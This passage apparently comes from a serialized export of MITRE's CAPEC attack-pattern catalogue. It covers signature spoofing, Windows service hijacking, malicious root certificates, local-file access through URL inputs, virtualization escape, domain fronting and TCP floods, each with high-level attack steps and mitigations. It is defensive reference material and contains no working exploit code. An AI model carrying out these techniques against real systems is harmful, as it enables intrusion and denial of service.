xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Signature verification algorithms are generally used to determine whether a certificate or piece of code (e.g. executable, binary, etc.) possesses a valid signature and can be trusted.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the leveraged algorithm confirms that a valid signature exists, it establishes a foundation of trust that is further conveyed to the end-user when interacting with a website or application. However, if the signature verification algorithm improperly validates the signature, either by not validating the signature at all or by failing to fully validate the signature, it could result in an adversary generating a spoofed signature and being classified as a legitimate entity. Successfully exploiting such a weakness could further allow the adversary to reroute users to malicious sites, steals files, activates microphones, records keystrokes and passwords, wipes disks, installs malware, and more.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26012 + Related_Attack_Pattern_26012 + + + + + + + + + + + + + + 473 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26013 + Related_Attack_Pattern_26013 + + + + + + + + + + + + + + 542 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Recipient is using a weak cryptographic signature verification algorithm or a weak implementation of a cryptographic signature verification algorithm, or the configuration of the recipient's application accepts the use of keys generated using cryptographically weak signature verification algorithms.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26019 + Skill_26019 + + + + + + + + + + + + + + Cryptanalysis of signature verification algorithm + + + + + + + + + + + + #indSkillSkill26020 + Skill_26020 + + + + + + + + + + + + + + Reverse engineering and cryptanalysis of signature verification algorithm implementation + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use programs and products that contain cryptographic elements that have been thoroughly tested for flaws in the signature verification routines.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The Windows CryptoAPI (Crypt32.dll) was shown to be vulnerable to signature spoofing by failing to properly validate Elliptic Curve Cryptography (ECC) certificates. If the CryptoAPI's signature validator allows the specification of a nonstandard base point (G): "An adversary can create a custom ECDSA certificate with an elliptic curve (ECC) signature that appears to match a known standard curve, like P-256 that includes a public key for an existing known trusted certificate authority, but which was in fact not signed by that certificate authority. Windows checks the public key and other curve parameters, but not the (bespoke adversary-supplied) base point generator (G) parameter constant which actually generated the curve" [REF-562]. Exploiting this vulnerability allows the adversary to leverage a spoofed certificate to dupe trusted network connections and deliver/execute malicious code, while appearing as legitimately trusted entity [REF-563]. This ultimately tricks the victim into believing the malicious website or executable is legitimate and originates from a properly verified source. See also: CVE-2020-0601</xhtml:div> + + + + + 347 + + + + + 327 + + + + + 295 + + + + + + + + + + + + #indReferenceReference26034 + Reference_26034 + + + + + + + + + REF-562 + + + + + + + + + + + + #indReferenceReference26035 + Reference_26035 + + + + + + + + + REF-563 + + + + + + + + + + + + #indReferenceReference26036 + Reference_26036 + + + + + + + + + REF-564 + + + + + + + + + + + + #indContentHistoryContentHistory26038 + Content_History_26038 + + + + + + + + + + + + + + + + #indSubmissionSubmission26039 + Submission_26039 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26044 + Modification_26044 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification26050 + Modification_26050 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26056 + Modification_26056 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Example_Instances, References, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification26062 + Modification_26062 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification26068 + Modification_26068 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Example_Instances, Extended_Description + + + + + + + + + + + + #CAPEC-476 + Signature Spoofing by Misrepresentation + + + + + + + + + 476 + + + + + Signature Spoofing by Misrepresentation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26082 + Related_Attack_Pattern_26082 + + + + + + + + + + + + + + 473 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Recipient is using signature verification software that does not clearly indicate potential homographs in the signer identity.Recipient is using signature verification software that contains a parsing vulnerability, or allows control characters in the signer identity field, such that a signature is mistakenly displayed as valid and from a known or authoritative signer.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26088 + Skill_26088 + + + + + + + + + + + + + + Attacker needs to understand the layout and composition of data blobs used by the target application. + + + + + + + + + + + + #indSkillSkill26089 + Skill_26089 + + + + + + + + + + + + + + To discover a specific vulnerability, attacker needs to reverse engineer signature parsing, signature verification and signer representation code. + + + + + + + + + + + + #indSkillSkill26090 + Skill_26090 + + + + + + + + + + + + + + Attacker may be required to create malformed data blobs and know how to insert them in a location that the recipient will visit. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure the application is using parsing and data display techniques that will accurately display control characters, international symbols and markings, and ultimately recognize potential homograph attacks.</xhtml:div> + + + + + 290 + + + + + + + + + + + + #indReferenceReference26099 + Reference_26099 + + + + + + + + + REF-414 + + + + + + + + + + + + #indContentHistoryContentHistory26101 + Content_History_26101 + + + + + + + + + + + + + + + + #indSubmissionSubmission26102 + Submission_26102 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26107 + Modification_26107 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-477 + Signature Spoofing by Mixing Signed and Unsigned Content + + + + + + + + + 477 + + + + + Signature Spoofing by Mixing Signed and Unsigned Content + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26122 + Related_Attack_Pattern_26122 + + + + + + + + + + + + + + 473 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Signer and recipient are using complex data storage structures that allow for a mix between signed and unsigned data</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Recipient is using signature verification software that does not maintain separation between signed and unsigned data once the signature has been verified.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26129 + Skill_26129 + + + + + + + + + + + + + + The attacker may need to continuously monitor a stream of signed data, waiting for an exploitable message to appear. + + + + + + + + + + + + #indSkillSkill26130 + Skill_26130 + + + + + + + + + + + + + + Attacker must be able to create malformed data blobs and know how to insert them in a location that the recipient will visit. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure the application is fully patched and does not allow the processing of unsigned data as if it is signed data.</xhtml:div> + + + + + 693 + + + + + 311 + + + + + 319 + + + + + + + + + + + + #indContentHistoryContentHistory26140 + Content_History_26140 + + + + + + + + + + + + + + + + #indSubmissionSubmission26141 + Submission_26141 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #CAPEC-478 + Modification of Windows Service Configuration + + + + + + + + + 478 + + + + + Modification of Windows Service Configuration + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26155 + Related_Attack_Pattern_26155 + + + + + + + + + + + + + + 203 + + + + + + + + + + + + #indAttackStepAttackStep26158 + Attack_Step_26158 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine target system] The adversary must first determine the system they wish to modify the registry of. This needs to be a windows machine as this attack only works on the windows registry.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26163 + Attack_Step_26163 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Gain access to the system] The adversary needs to gain access to the system in some way so that they can modify the windows registry.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain physical access to a system either through shoulder surfing a password or accessing a system that is left unlocked.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Gain remote access to a system through a variety of means.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26170 + Attack_Step_26170 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Modify windows registry] The adversary will modify the windows registry by changing the configuration settings for a service. Specifically, the adversary will change the path settings to define a path to a malicious binary to be executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the capability to write to the Windows Registry on the targeted system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence26183 + Consequence_26183 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By altering specific configuration settings for the service, the adversary could run arbitrary code to be executed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowServiceRegistryPermissionsWeakness + Hijack Execution Flow:Service Registry Permissions Weakness + + + + + + + + + + + + + + 1574.011 + + + + + Hijack Execution Flow:Service Registry Permissions Weakness + + + + + + + + + + + + #indTaxonomyMappingCreateOrModifySystemProcessWindowsService + Create or Modify System Process:Windows Service + + + + + + + + + + + + + + 1543.003 + + + + + Create or Modify System Process:Windows Service + + + + + + + + + + + + #indContentHistoryContentHistory26205 + Content_History_26205 + + + + + + + + + + + + + + + + #indSubmissionSubmission26206 + Submission_26206 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-04-25 + + + + + + + + + + + + #indModificationModification26211 + Modification_26211 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26217 + Modification_26217 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26223 + Modification_26223 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow + + + + + + + + + + + + #CAPEC-479 + Malicious Root Certificate + + + + + + + + + 479 + + + + + Malicious Root Certificate + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26237 + Related_Attack_Pattern_26237 + + + + + + + + + + + + + + 473 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have the ability to create a new root certificate.</xhtml:div> + + + + + 284 + + + + + + + + + + + + #indTaxonomyMappingSubvertTrustControlsInstallRootCertificate + Subvert Trust Controls:Install Root Certificate + + + + + + + + + + + + + + 1553.004 + + + + + Subvert Trust Controls:Install Root Certificate + + + + + + + + + + + + #indContentHistoryContentHistory26251 + Content_History_26251 + + + + + + + + + + + + + + + + #indSubmissionSubmission26252 + Submission_26252 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-04-26 + + + + + + + + + + + + #indModificationModification26257 + Modification_26257 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-48 + Passing Local Filenames to Functions That Expect a URL + + + + + + + + + 48 + + + + + Passing Local Filenames to Functions That Expect a URL + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26272 + Related_Attack_Pattern_26272 + + + + + + + + + + + + + + 212 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep26277 + Attack_Step_26277 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify web application URL inputs] Review application inputs to find those that are designed to be URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually navigate web site pages to identify URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools to identify URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26284 + Attack_Step_26284 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify URL inputs allowing local access.] Execute test local commands via each URL input to determine which are successful.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually execute a local command (such as 'pwd') via the URL inputs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using an automated tool, test each URL input for weakness.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26291 + Attack_Step_26291 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute malicious commands] Using the identified URL inputs that allow local command execution, execute malicious commands.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute local commands via the URL input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The victim's software must not differentiate between the location and type of reference passed the client software, e.g. browser</xhtml:div> + + + + + + + + + + + + #indSkillSkill26302 + Skill_26302 + + + + + + + + + + + + + + Attacker identifies known local files to exploit + + + + + + + + + + + + #indConsequenceConsequence26305 + Consequence_26305 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence26309 + Consequence_26309 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Ensure all configuration files and resource are either removed or protected when promoting code into production.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use browser technologies that do not allow client side scripting.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform input validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Perform output validation for all remote content.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Disable scripting languages such as JavaScript in browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;hibernate.connection.driver_class = org.postgresql.Driver&lt;xhtml:br&gt;&lt;/xhtml:br&gt;hibernate.connection.url = jdbc:postgresql://localhost/mydatabase&lt;xhtml:br&gt;&lt;/xhtml:br&gt;hibernate.connection.username = username&lt;xhtml:br&gt;&lt;/xhtml:br&gt;hibernate.connection.password = password&lt;xhtml:br&gt;&lt;/xhtml:br&gt;hibernate.c3p0.min_size=5&lt;xhtml:br&gt;&lt;/xhtml:br&gt;hibernate.c3p0.max_size=20&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 241 + + + + + 706 + + + + + + + + + + + + #indReferenceReference26334 + Reference_26334 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference26335 + Reference_26335 + + + + + + + + + REF-416 + + + + + + + + + + + + #indContentHistoryContentHistory26337 + Content_History_26337 + + + + + + + + + + + + + + + + #indSubmissionSubmission26338 + Submission_26338 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26343 + Modification_26343 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification26349 + Modification_26349 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Description, Description Summary, References + + + + + + + + + + + + #indModificationModification26355 + Modification_26355 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases + + + + + + + + + + + + #indModificationModification26361 + Modification_26361 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification26367 + Modification_26367 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification26373 + Modification_26373 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-480 + Escaping Virtualization + + + + + + + + + 480 + + + + + Escaping Virtualization + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26386 + Related_Attack_Pattern_26386 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indAttackStepAttackStep26389 + Attack_Step_26389 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probing] The adversary probes the target application, service, or device to find a possible weakness that would allow escaping the virtualized environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Probing applications, services, or devices for virtualization weaknesses.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26395 + Attack_Step_26395 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Verify the exploitable security weaknesses] Using the found weakness, the adversary attempts to escape the virtualized environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using an application weakness to escape a virtualized environment</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep26401 + Attack_Step_26401 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute more complex attacks] Once outside of the virtualized environment, the adversary attempts to perform other more complex attacks such as accessing system resources or executing unauthorized code within the host environment.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Executing complex attacks when given higher permissions by escaping a virtualized environment</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence26409 + Consequence_26409 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence26414 + Consequence_26414 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence26419 + Consequence_26419 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure virtualization software is current and up-to-date.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Abide by the least privilege principle to avoid assigning users more privileges than necessary.</xhtml:div> + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingEscapeToHost + Escape to Host + + + + + + + + + + + + + + 1611 + + + + + Escape to Host + + + + + + + + + + + + #indContentHistoryContentHistory26440 + Content_History_26440 + + + + + + + + + + + + + + + + #indSubmissionSubmission26441 + Submission_26441 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + + + + + + + + #indModificationModification26446 + Modification_26446 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification26452 + Modification_26452 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26458 + Modification_26458 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #CAPEC-481 + Contradictory Destinations in Traffic Routing Schemes + + + + + + + + + 481 + + + + + Contradictory Destinations in Traffic Routing Schemes + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries can provide contradictory destinations when sending messages. Traffic is routed in networks using the domain names in various headers available at different levels of the OSI model. In a Content Delivery Network (CDN) multiple domains might be available, and if there are contradictory domain names provided it is possible to route traffic to an inappropriate destination. The technique, called Domain Fronting, involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. An alternative technique, called Domainless Fronting, is similar, but the SNI field is left blank.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26473 + Related_Attack_Pattern_26473 + + + + + + + + + + + + + + 161 + + + + + 515 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary must be aware that their message will be routed using a CDN, and that both of the contradictory domains are served from that CDN.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If the purpose of the Domain Fronting is to hide redirected C2 traffic, the C2 server must have been created in the CDN.</xhtml:div> + + + + + + + + + + + + #indSkillSkill26482 + Skill_26482 + + + + + + + + + + + + + + The adversary must have some knowledge of how messages are routed. + + + + + + + + + + + + #indConsequenceConsequence26485 + Consequence_26485 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Monitor connections, checking headers in traffic for contradictory domain names, or empty domain names.</xhtml:div> + + + + + 923 + + + + + + + + + + + + #indTaxonomyMappingProxyDomainFronting + Proxy:Domain Fronting + + + + + + + + + + + + + + 1090.004 + + + + + Proxy:Domain Fronting + + + + + + + + + + + + #indContentHistoryContentHistory26503 + Content_History_26503 + + + + + + + + + + + + + + + + #indSubmissionSubmission26504 + Submission_26504 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + + + + + + + + #indModificationModification26509 + Modification_26509 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification26515 + Modification_26515 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26521 + Modification_26521 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-482 + TCP Flood + + + + + + + + + 482 + + + + + TCP Flood + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern26532 + Related_Attack_Pattern_26532 + + + + + + + + + + + + + + 125 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of an attack requires the ability to generate a large amount of TCP traffic to send to the target port of a functioning server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To mitigate this type of an attack, an organization can monitor incoming packets and look for patterns in the TCP traffic to determine if the network is under an attack. The potential target may implement a rate limit on TCP SYN messages which would provide limited capabilities while under attack.</xhtml:div> + + + + + 770 + + + + + + + + + + + + #indTaxonomyMappingNetworkDenialOfServiceDirectNetworkFlood + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + + + 1498.001 + + + + + Network Denial of Service: Direct Network Flood + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceOSExhaustionFlood + Endpoint Denial of Service: OS Exhaustion Flood + + + + + + + + + + + + + + 1499.001 + + + + + Endpoint Denial of Service: OS Exhaustion Flood + + + + + + + + + + + + #indTaxonomyMappingEndpointDenialOfServiceServiceExhaustionFlood + Endpoint Denial of Service: Service Exhaustion Flood + + + + + + + + + + + + + + 1499.002 + + + + + Endpoint Denial of Service: Service Exhaustion Flood + + + + + + + + + + + + #indContentHistoryContentHistory26557 + Content_History_26557 + + + + + + + + + + + + + + + + #indSubmissionSubmission26558 + Submission_26558 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26563 + Modification_26563 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification26569 + Modification_26569 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26575 + Modification_26575 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification26581 + Modification_26581 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-484 + DEPRECATED: XML Client-Side Attack + + + + + + + + + 484 + + + + + DEPRECATED: XML Client-Side Attack + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads and CAPEC-231: XML Oversized Payloads. Please refer to these CAPECs going forward.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory26592 + Content_History_26592 + + + + + + + + + + + + + + + + #indSubmissionSubmission26593 + Submission_26593 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification26598 + Modification_26598 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification26604 + Modification_26604 + + + + + + + + + 